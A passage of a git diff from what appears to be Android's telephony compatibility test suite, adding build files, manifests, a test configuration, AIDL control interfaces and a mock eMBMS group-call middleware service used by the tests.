+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_JAVA_LIBRARIES := telephony-common
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    ctstestrunner-axt hamcrest-library \
+    compatibility-device-util-axt \
+    truth-prebuilt
+
+LOCAL_HOST_SHARED_LIBRARIES := compatibility-device-telephony-preconditions
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src) \
+                   $(call all-java-files-under, EmbmsMiddlewareTestApp) \
+                   $(call all-Iaidl-files-under, EmbmsMiddlewareTestApp) \
+                   $(call all-java-files-under, LocationAccessingApp) \
+                   $(call all-Iaidl-files-under, LocationAccessingApp)
+
+LOCAL_AIDL_INCLUDES := EmbmsMiddlewareTestApp/aidl/
+
+LOCAL_PACKAGE_NAME := CtsTelephonyTestCases
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+# uncomment when b/13250611 is fixed
+#LOCAL_SDK_VERSION := current
+LOCAL_PRIVATE_PLATFORM_APIS := true
+LOCAL_JAVA_LIBRARIES += android.test.runner.stubs
+LOCAL_JAVA_LIBRARIES += android.test.base.stubs
+
+include $(BUILD_CTS_PACKAGE)
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/telephony/current/AndroidManifest.xml b/tests/tests/telephony/current/AndroidManifest.xml
new file mode 100644
index 0000000..7fb2611
--- /dev/null
+++ b/tests/tests/telephony/current/AndroidManifest.xml
@@ -0,0 +1,203 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2007 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.telephony.cts">
+
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
+    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
+    <uses-permission android:name="android.permission.READ_CONTACTS" />
+    <uses-permission android:name="android.permission.WRITE_CONTACTS" />
+    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
+    <uses-permission android:name="android.permission.SEND_SMS" />
+    <uses-permission android:name="android.permission.READ_SMS" />
+    <uses-permission android:name="android.permission.RECEIVE_SMS" />
+    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
+    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
+    <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
+    <uses-permission android:name="android.permission.BLUETOOTH" />
+    <uses-permission android:name="android.telephony.embms.cts.permission.TEST_BROADCAST"/>
+
+    <permission android:name="android.telephony.embms.cts.permission.TEST_BROADCAST"
+                android:protectionLevel="signature"/>
+    <application>
+        <provider android:name="android.telephony.cts.MmsPduProvider"
+                  android:authorities="telephonyctstest"
+                  android:grantUriPermissions="true" />
+
+        <!-- SmsReceiver, MmsReceiver, ComposeSmsActivity, HeadlessSmsSendService together make
+        this a valid SmsApplication (that can be set as the default SMS app). Although some of these
+        classes don't do anything, they are needed to make this a valid candidate for default SMS
+        app. -->
+        <!-- BroadcastReceiver that listens for incoming SMS messages -->
+        <receiver android:name=".SmsReceiver"
+            android:permission="android.permission.BROADCAST_SMS">
+            <intent-filter>
+                <action android:name="android.provider.Telephony.SMS_DELIVER" />
+            </intent-filter>
+        </receiver>
+
+        <!-- BroadcastReceiver that listens for incoming MMS messages -->
+        <receiver android:name=".MmsReceiver"
+            android:permission="android.permission.BROADCAST_WAP_PUSH">
+            <intent-filter>
+                <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER" />
+                <data android:mimeType="application/vnd.wap.mms-message" />
+            </intent-filter>
+        </receiver>
+
+        <!-- Activity that allows the user to send new SMS/MMS messages -->
+        <activity android:name=".ComposeSmsActivity" >
+            <intent-filter>
+                <action android:name="android.intent.action.SEND" />
+                <action android:name="android.intent.action.SENDTO" />
+                <category android:name="android.intent.category.DEFAULT" />
+                <category android:name="android.intent.category.BROWSABLE" />
+                <data android:scheme="sms" />
+                <data android:scheme="smsto" />
+                <data android:scheme="mms" />
+                <data android:scheme="mmsto" />
+            </intent-filter>
+        </activity>
+
+        <!-- Service that delivers messages from the phone "quick response" -->
+        <service android:name=".HeadlessSmsSendService"
+            android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE"
+            android:exported="true" >
+            <intent-filter>
+                <action android:name="android.intent.action.RESPOND_VIA_MESSAGE" />
+                <category android:name="android.intent.category.DEFAULT" />
+                <data android:scheme="sms" />
+                <data android:scheme="smsto" />
+                <data android:scheme="mms" />
+                <data android:scheme="mmsto" />
+            </intent-filter>
+        </service>
+
+        <service
+          android:name="android.telephony.cts.StubInCallService"
+          android:permission="android.permission.BIND_INCALL_SERVICE">
+            <intent-filter>
+                <action android:name="android.telecom.InCallService"/>
+            </intent-filter>
+            <meta-data
+              android:name="android.telecom.IN_CALL_SERVICE_UI"
+              android:value="true"/>
+        </service>
+
+        <service
+          android:name=".MockVisualVoicemailService"
+          android:permission="android.permission.BIND_VISUAL_VOICEMAIL_SERVICE"
+          android:exported="true">
+            <intent-filter>
+                <action android:name="android.telephony.VisualVoicemailService"/>
+            </intent-filter>
+        </service>
+
+        <service
+            android:name=".PermissionlessVisualVoicemailService"
+            android:enabled="false"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.telephony.VisualVoicemailService"/>
+            </intent-filter>
+
+        </service>
+
+        <service
+            android:name="android.telephony.euicc.cts.MockEuiccService"
+            android:permission="android.permission.BIND_EUICC_SERVICE"
+            android:exported="true">
+            <intent-filter android:priority="100">
+                <action android:name="android.service.euicc.EuiccService"/>
+            </intent-filter>
+        </service>
+
+        <activity android:name="android.telephony.cts.StubDialerActvity">
+            <intent-filter>
+                <action android:name="android.intent.action.DIAL" />
+                <category android:name="android.intent.category.DEFAULT" />
+                <category android:name="android.intent.category.BROWSABLE" />
+                <data android:mimeType="vnd.android.cursor.item/phone" />
+                <data android:mimeType="vnd.android.cursor.item/person" />
+            </intent-filter>
+            <intent-filter>
+                <action android:name="android.intent.action.DIAL" />
+                <category android:name="android.intent.category.DEFAULT" />
+                <category android:name="android.intent.category.BROWSABLE" />
+                <data android:scheme="voicemail" />
+            </intent-filter>
+            <intent-filter>
+                <action android:name="android.intent.action.DIAL" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+            <intent-filter>
+                <action android:name="android.intent.action.VIEW" />
+                <action android:name="android.intent.action.DIAL" />
+                <category android:name="android.intent.category.DEFAULT" />
+                <category android:name="android.intent.category.BROWSABLE" />
+                <data android:scheme="tel" />
+            </intent-filter>
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.DEFAULT" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+
+        <activity android:name="android.telephony.euicc.cts.EuiccTestResolutionActivity"/>
+
+        <activity android:name="android.telephony.euicc.cts.EuiccResolutionActivity"/>
+
+        <uses-library android:name="android.test.runner" />
+
+
+        <!-- This is the receiver defined by the MBMS api. -->
+        <receiver
+            android:name="android.telephony.mbms.MbmsDownloadReceiver"
+            android:permission="android.telephony.cts.embmstestapp.CTS_DOWNLOAD_PERMISSION"
+            android:enabled="true"
+            android:exported="true">
+        </receiver>
+
+        <provider
+            android:name="android.telephony.mbms.MbmsTempFileProvider"
+            android:authorities="android.telephony.mbms.cts"
+            android:exported="false"
+            android:grantUriPermissions="true">
+        </provider>
+
+        <meta-data android:name="mbms-streaming-service-override"
+                   android:value="android.telephony.cts.embmstestapp/.CtsStreamingService"/>
+        <meta-data android:name="mbms-download-service-override"
+                   android:value="android.telephony.cts.embmstestapp/.CtsDownloadService"/>
+        <meta-data android:name="mbms-group-call-service-override"
+                   android:value="android.telephony.cts.embmstestapp/.CtsGroupCallService"/>
+        <meta-data
+            android:name="mbms-file-provider-authority"
+            android:value="android.telephony.mbms.cts"/>
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.telephony.cts"
+                     android:label="CTS tests of android.telephony">
+        <meta-data android:name="listener"
+            android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+
+</manifest>
+
diff --git a/tests/tests/telephony/current/AndroidTest.xml b/tests/tests/telephony/current/AndroidTest.xml
new file mode 100644
index 0000000..290e582
--- /dev/null
+++ b/tests/tests/telephony/current/AndroidTest.xml
@@ -0,0 +1,45 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Telephony test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="telecom" />
+    <option name="config-descriptor:metadata" key="token" value="SIM_CARD" />
+    <option name="not-shardable" value="true" />
+    <target_preparer class="android.telephony.cts.preconditions.TelephonyPreparer">
+        <option name="apk" value="CtsTelephonyPreparerApp.apk" />
+        <option name="package" value="android.telephony.cts.preconditions.app" />
+    </target_preparer>
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsTelephonyTestCases.apk" />
+        <option name="test-file-name" value="EmbmsMiddlewareCtsTestApp.apk"/>
+        <option name="test-file-name" value="LocationAccessingApp.apk"/>
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.telephony.cts" />
+        <option name="hidden-api-checks" value="false"/>
+    </test>
+    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+        <option name="run-command" value="pm disable com.google.android.dialer/com.android.voicemail.impl.StatusCheckJobService" />
+        <option name="run-command" value="pm disable com.google.android.dialer/com.android.voicemail.impl.OmtpService" />
+        <option name="teardown-command" value="pm enable com.google.android.dialer/com.android.voicemail.impl.StatusCheckJobService" />
+        <option name="teardown-command" value="pm enable com.google.android.dialer/com.android.voicemail.impl.OmtpService" />
+        <option name="run-command" value="pm disable com.android.dialer/com.android.voicemail.impl.StatusCheckJobService" />
+        <option name="run-command" value="pm disable com.android.dialer/com.android.voicemail.impl.OmtpService" />
+        <option name="teardown-command" value="pm enable com.android.dialer/com.android.voicemail.impl.StatusCheckJobService" />
+        <option name="teardown-command" value="pm enable com.android.dialer/com.android.voicemail.impl.OmtpService" />
+    </target_preparer>
+</configuration>
diff --git a/tests/tests/telephony/current/EmbmsMiddlewareTestApp/Android.mk b/tests/tests/telephony/current/EmbmsMiddlewareTestApp/Android.mk
new file mode 100644
index 0000000..a11c94d
--- /dev/null
+++ b/tests/tests/telephony/current/EmbmsMiddlewareTestApp/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+# Build the Sample Embms Services
+include $(CLEAR_VARS)
+
+src_dirs := src
+
+LOCAL_SRC_FILES := $(call all-java-files-under, $(src_dirs)) \
+                   $(call all-Iaidl-files-under, aidl)
+
+LOCAL_AIDL_INCLUDES := aidl/
+
+LOCAL_PACKAGE_NAME := EmbmsMiddlewareCtsTestApp
+
+LOCAL_MODULE_TAGS := optional
+LOCAL_SDK_VERSION := test_current
+LOCAL_COMPATIBILITY_SUITE := cts vts
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_PROGUARD_ENABLED := disabled
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/telephony/current/EmbmsMiddlewareTestApp/AndroidManifest.xml b/tests/tests/telephony/current/EmbmsMiddlewareTestApp/AndroidManifest.xml
new file mode 100644
index 0000000..880faf6
--- /dev/null
+++ b/tests/tests/telephony/current/EmbmsMiddlewareTestApp/AndroidManifest.xml
@@ -0,0 +1,49 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+     http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="android.telephony.cts.embmstestapp">
+  <permission android:name="android.telephony.cts.embmstestapp.CTS_DOWNLOAD_PERMISSION"
+              android.protectionLevel="signature"/>
+
+  <uses-permission android:name="android.telephony.cts.embms.permission.SEND_EMBMS_INTENTS"/>
+  <uses-permission android:name="android.telephony.cts.embmstestapp.CTS_DOWNLOAD_PERMISSION"/>
+
+  <application android:label="EmbmsCtsMiddleware">
+    <service android:name="android.telephony.cts.embmstestapp.CtsStreamingService"
+            android:launchMode="singleInstance">
+      <intent-filter>
+        <action android:name="android.telephony.action.EmbmsStreaming" />
+        <action android:name="android.telephony.cts.embmstestapp.ACTION_CONTROL_MIDDLEWARE" />
+      </intent-filter>
+    </service>
+    <service android:name="android.telephony.cts.embmstestapp.CtsGroupCallService"
+             android:launchMode="singleInstance">
+      <intent-filter>
+        <action android:name="android.telephony.action.EmbmsGroupCall" />
+        <action android:name="android.telephony.cts.embmstestapp.ACTION_CONTROL_MIDDLEWARE" />
+      </intent-filter>
+    </service>
+    <service android:name="android.telephony.cts.embmstestapp.CtsDownloadService"
+             android:launchMode="singleInstance">
+      <intent-filter>
+        <action android:name="android.telephony.action.EmbmsDownload" />
+        <action android:name="android.telephony.cts.embmstestapp.ACTION_CONTROL_MIDDLEWARE" />
+      </intent-filter>
+    </service>
+  </application>
+</manifest>
+
diff --git a/tests/tests/telephony/EmbmsMiddlewareTestApp/aidl/android/telephony/cts/embmstestapp/ICtsDownloadMiddlewareControl.aidl b/tests/tests/telephony/current/EmbmsMiddlewareTestApp/aidl/android/telephony/cts/embmstestapp/ICtsDownloadMiddlewareControl.aidl
similarity index 100%
rename from tests/tests/telephony/EmbmsMiddlewareTestApp/aidl/android/telephony/cts/embmstestapp/ICtsDownloadMiddlewareControl.aidl
rename to tests/tests/telephony/current/EmbmsMiddlewareTestApp/aidl/android/telephony/cts/embmstestapp/ICtsDownloadMiddlewareControl.aidl
diff --git a/tests/tests/telephony/current/EmbmsMiddlewareTestApp/aidl/android/telephony/cts/embmstestapp/ICtsGroupCallMiddlewareControl.aidl b/tests/tests/telephony/current/EmbmsMiddlewareTestApp/aidl/android/telephony/cts/embmstestapp/ICtsGroupCallMiddlewareControl.aidl
new file mode 100644
index 0000000..7f3bac7
--- /dev/null
+++ b/tests/tests/telephony/current/EmbmsMiddlewareTestApp/aidl/android/telephony/cts/embmstestapp/ICtsGroupCallMiddlewareControl.aidl
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.telephony.cts.embmstestapp;
+
+import android.os.Parcel;
+
+interface ICtsGroupCallMiddlewareControl {
+    // Resets the state of the CTS middleware
+    void reset();
+    // Get a list of calls made to the middleware binder.
+    // Looks like List<List<Object>>, where the first Object is always a String corresponding to
+    // the method name.
+    List getGroupCallSessionCalls();
+    // Force all methods that can return an error to return this error.
+    void forceErrorCode(int error);
+    // Fire the error callback on the current active call
+    void fireErrorOnGroupCall(int errorCode, String message);
+    // Fire the error callback on the group call session
+    void fireErrorOnSession(int errorCode, String message);
+    // The following fire callbacks on the active group call, using the provided arguments
+    void fireGroupCallStateChanged(int state, int reason);
+    void fireBroadcastSignalStrengthUpdated(int signalStrength);
+    // The following fire callbacks on the group call session.
+    void fireAvailableSaisUpdated(in List currentSais, in List availableSais);
+    void fireServiceInterfaceAvailable(String interfaceName, int index);
+}
\ No newline at end of file
diff --git a/tests/tests/telephony/EmbmsMiddlewareTestApp/aidl/android/telephony/cts/embmstestapp/ICtsStreamingMiddlewareControl.aidl b/tests/tests/telephony/current/EmbmsMiddlewareTestApp/aidl/android/telephony/cts/embmstestapp/ICtsStreamingMiddlewareControl.aidl
similarity index 100%
rename from tests/tests/telephony/EmbmsMiddlewareTestApp/aidl/android/telephony/cts/embmstestapp/ICtsStreamingMiddlewareControl.aidl
rename to tests/tests/telephony/current/EmbmsMiddlewareTestApp/aidl/android/telephony/cts/embmstestapp/ICtsStreamingMiddlewareControl.aidl
diff --git a/tests/tests/telephony/EmbmsMiddlewareTestApp/src/android/telephony/cts/embmstestapp/CtsDownloadService.java b/tests/tests/telephony/current/EmbmsMiddlewareTestApp/src/android/telephony/cts/embmstestapp/CtsDownloadService.java
similarity index 100%
rename from tests/tests/telephony/EmbmsMiddlewareTestApp/src/android/telephony/cts/embmstestapp/CtsDownloadService.java
rename to tests/tests/telephony/current/EmbmsMiddlewareTestApp/src/android/telephony/cts/embmstestapp/CtsDownloadService.java
diff --git a/tests/tests/telephony/current/EmbmsMiddlewareTestApp/src/android/telephony/cts/embmstestapp/CtsGroupCallService.java b/tests/tests/telephony/current/EmbmsMiddlewareTestApp/src/android/telephony/cts/embmstestapp/CtsGroupCallService.java
new file mode 100644
index 0000000..4fbb762
--- /dev/null
+++ b/tests/tests/telephony/current/EmbmsMiddlewareTestApp/src/android/telephony/cts/embmstestapp/CtsGroupCallService.java
@@ -0,0 +1,222 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.telephony.cts.embmstestapp;
+
+import android.app.Service;
+import android.content.ComponentName;
+import android.content.Intent;
+import android.net.Uri;
+import android.os.Binder;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.IBinder;
+import android.os.RemoteException;
+import android.telephony.mbms.GroupCall;
+import android.telephony.mbms.MbmsErrors;
+import android.telephony.mbms.MbmsGroupCallSessionCallback;
+import android.telephony.mbms.GroupCallCallback;
+import android.telephony.mbms.vendor.MbmsGroupCallServiceBase;
+import android.util.Log;
+
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.HashSet;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.Set;
+
+public class CtsGroupCallService extends MbmsGroupCallServiceBase {
+    private static final Set<String> ALLOWED_PACKAGES = new HashSet<String>() {{
+        add("android.telephony.cts");
+    }};
+    private static final String TAG = "EmbmsTestGroupCall";
+
+    public static final String METHOD_INITIALIZE = "initialize";
+    public static final String METHOD_START_GROUP_CALL = "startGroupCall";
+    public static final String METHOD_UPDATE_GROUP_CALL = "updateGroupCall";
+    public static final String METHOD_STOP_GROUP_CALL = "stopGroupCall";
+    public static final String METHOD_CLOSE = "close";
+
+    public static final String CONTROL_INTERFACE_ACTION =
+            "android.telephony.cts.embmstestapp.ACTION_CONTROL_MIDDLEWARE";
+    public static final ComponentName CONTROL_INTERFACE_COMPONENT =
+            ComponentName.unflattenFromString(
+                    "android.telephony.cts.embmstestapp/.CtsGroupCallService");
+
+    private MbmsGroupCallSessionCallback mAppCallback;
+    private GroupCallCallback mGroupCallCallback;
+
+    private HandlerThread mHandlerThread;
+    private Handler mHandler;
+    private List<List> mReceivedCalls = new LinkedList<>();
+    private int mErrorCodeOverride = MbmsErrors.SUCCESS;
+
+    @Override
+    public int initialize(MbmsGroupCallSessionCallback callback, int subId) {
+        mReceivedCalls.add(Arrays.asList(METHOD_INITIALIZE, subId));
+        if (mErrorCodeOverride != MbmsErrors.SUCCESS) {
+            return mErrorCodeOverride;
+        }
+
+        int packageUid = Binder.getCallingUid();
+        String[] packageNames = getPackageManager().getPackagesForUid(packageUid);
+        if (packageNames == null) {
+            return MbmsErrors.InitializationErrors.ERROR_APP_PERMISSIONS_NOT_GRANTED;
+        }
+        boolean isUidAllowed = Arrays.stream(packageNames).anyMatch(ALLOWED_PACKAGES::contains);
+        if (!isUidAllowed) {
+            return MbmsErrors.InitializationErrors.ERROR_APP_PERMISSIONS_NOT_GRANTED;
+        }
+
+        mHandler.post(() -> {
+            if (mAppCallback == null) {
+                mAppCallback = callback;
+            } else {
+                callback.onError(
+                        MbmsErrors.InitializationErrors.ERROR_DUPLICATE_INITIALIZE, "");
+                return;
+            }
+            callback.onMiddlewareReady();
+        });
+        return MbmsErrors.SUCCESS;
+    }
+
+    @Override
+    public int startGroupCall(final int subscriptionId, final long tmgi,
+            final List<Integer> saiArray, final List<Integer> frequencyArray,
+            final GroupCallCallback callback) {
+        mReceivedCalls.add(Arrays.asList(METHOD_START_GROUP_CALL, subscriptionId, tmgi, saiArray,
+                frequencyArray));
+        if (mErrorCodeOverride != MbmsErrors.SUCCESS) {
+            return mErrorCodeOverride;
+        }
+
+        mGroupCallCallback = callback;
+        mHandler.post(() -> callback.onGroupCallStateChanged(GroupCall.STATE_STARTED,
+                GroupCall.REASON_BY_USER_REQUEST));
+        return MbmsErrors.SUCCESS;
+    }
+
+    @Override
+    public void updateGroupCall(int subscriptionId, long tmgi,
+            List<Integer> saiArray, List<Integer> frequencyArray) {
+        mReceivedCalls.add(Arrays.asList(METHOD_UPDATE_GROUP_CALL,
+                subscriptionId, tmgi, saiArray, frequencyArray));
+    }
+
+    @Override
+    public void stopGroupCall(int subscriptionId, long tmgi) {
+        mReceivedCalls.add(Arrays.asList(METHOD_STOP_GROUP_CALL, subscriptionId, tmgi));
+    }
+
+    @Override
+    public void dispose(int subscriptionId) {
+        mReceivedCalls.add(Arrays.asList(METHOD_CLOSE, subscriptionId));
+    }
+
+    @Override
+    public void onAppCallbackDied(int uid, int subscriptionId) {
+        mAppCallback = null;
+    }
+
+    private final IBinder mControlInterface = new ICtsGroupCallMiddlewareControl.Stub() {
+        @Override
+        public void reset() {
+            mReceivedCalls.clear();
+            mHandler.removeCallbacksAndMessages(null);
+            mAppCallback = null;
+            mErrorCodeOverride = MbmsErrors.SUCCESS;
+        }
+
+        @Override
+        public List getGroupCallSessionCalls() {
+            return mReceivedCalls;
+        }
+
+        @Override
+        public void forceErrorCode(int error) {
+            mErrorCodeOverride = error;
+        }
+
+        @Override
+        public void fireErrorOnGroupCall(int errorCode, String message) {
+            mHandler.post(() -> mGroupCallCallback.onError(errorCode, message));
+        }
+
+        @Override
+        public void fireErrorOnSession(int errorCode, String message) {
+            mHandler.post(() -> mAppCallback.onError(errorCode, message));
+        }
+
+        @Override
+        public void fireGroupCallStateChanged(int state, int reason) {
+            mHandler.post(() -> mGroupCallCallback.onGroupCallStateChanged(state, reason));
+        }
+
+        @Override
+        public void fireBroadcastSignalStrengthUpdated(int signalStrength) {
+            mHandler.post(
+                    () -> mGroupCallCallback.onBroadcastSignalStrengthUpdated(signalStrength));
+        }
+
+        @Override
+        public void fireAvailableSaisUpdated(List currentSais, List availableSais) {
+            mHandler.post(() -> mAppCallback.onAvailableSaisUpdated(currentSais, availableSais));
+        }
+
+        @Override
+        public void fireServiceInterfaceAvailable(String interfaceName, int index) {
+            mHandler.post(() -> mAppCallback.onServiceInterfaceAvailable(interfaceName, index));
+        }
+    };
+
+    @Override
+    public void onDestroy() {
+        mHandlerThread.quitSafely();
+        logd("CtsGroupCallService onDestroy");
+        super.onDestroy();
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        logd("CtsGroupCallService onBind");
+        if (CONTROL_INTERFACE_ACTION.equals(intent.getAction())) {
+            logd("CtsGroupCallService control interface bind");
+            return mControlInterface;
+        }
+        IBinder binder = super.onBind(intent);
+
+        if (mHandlerThread != null && mHandlerThread.isAlive()) {
+            return binder;
+        }
+
+        mHandlerThread = new HandlerThread("CtsGroupCallServiceWorker");
+        mHandlerThread.start();
+        mHandler = new Handler(mHandlerThread.getLooper());
+        return binder;
+    }
+
+    private static void logd(String s) {
+        Log.d(TAG, s);
+    }
+
+    private void checkInitialized() {
+        if (mAppCallback == null) {
+            throw new IllegalStateException("Not yet initialized");
+        }
+    }
+}
diff --git a/tests/tests/telephony/EmbmsMiddlewareTestApp/src/android/telephony/cts/embmstestapp/CtsStreamingService.java b/tests/tests/telephony/current/EmbmsMiddlewareTestApp/src/android/telephony/cts/embmstestapp/CtsStreamingService.java
similarity index 100%
rename from tests/tests/telephony/EmbmsMiddlewareTestApp/src/android/telephony/cts/embmstestapp/CtsStreamingService.java
rename to tests/tests/telephony/current/EmbmsMiddlewareTestApp/src/android/telephony/cts/embmstestapp/CtsStreamingService.java
diff --git a/tests/tests/telephony/current/LocationAccessingApp/Android.mk b/tests/tests/telephony/current/LocationAccessingApp/Android.mk
new file mode 100644
index 0000000..6ee6379
--- /dev/null
+++ b/tests/tests/telephony/current/LocationAccessingApp/Android.mk
@@ -0,0 +1,20 @@
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+src_dirs := src
+
+LOCAL_SRC_FILES := $(call all-java-files-under, $(src_dirs)) \
+                   $(call all-Iaidl-files-under, aidl)
+
+LOCAL_AIDL_INCLUDES := aidl/
+
+LOCAL_PACKAGE_NAME := LocationAccessingApp
+
+LOCAL_MODULE_TAGS := optional
+LOCAL_SDK_VERSION := test_current
+LOCAL_COMPATIBILITY_SUITE := cts vts
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_PROGUARD_ENABLED := disabled
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/telephony/current/LocationAccessingApp/AndroidManifest.xml b/tests/tests/telephony/current/LocationAccessingApp/AndroidManifest.xml
new file mode 100644
index 0000000..e5c9aac
--- /dev/null
+++ b/tests/tests/telephony/current/LocationAccessingApp/AndroidManifest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+     http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="android.telephony.cts.locationaccessingapp">
+
+  <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
+  <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
+  <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
+
+  <application android:label="LocationAccessingApp">
+    <service android:name="android.telephony.cts.locationaccessingapp.CtsLocationAccessService"
+             android:launchMode="singleInstance">
+      <intent-filter>
+        <action android:name="android.telephony.cts.locationaccessingapp.ACTION_CONTROL" />
+      </intent-filter>
+    </service>
+  </application>
+</manifest>
+
diff --git a/tests/tests/telephony/current/LocationAccessingApp/aidl/android/telephony/cts/locationaccessingapp/ICtsLocationAccessControl.aidl b/tests/tests/telephony/current/LocationAccessingApp/aidl/android/telephony/cts/locationaccessingapp/ICtsLocationAccessControl.aidl
new file mode 100644
index 0000000..9b7c778
--- /dev/null
+++ b/tests/tests/telephony/current/LocationAccessingApp/aidl/android/telephony/cts/locationaccessingapp/ICtsLocationAccessControl.aidl
@@ -0,0 +1,23 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.cts.locationaccessingapp;
+
+interface ICtsLocationAccessControl {
+    // Asks the location access app to perform a command.
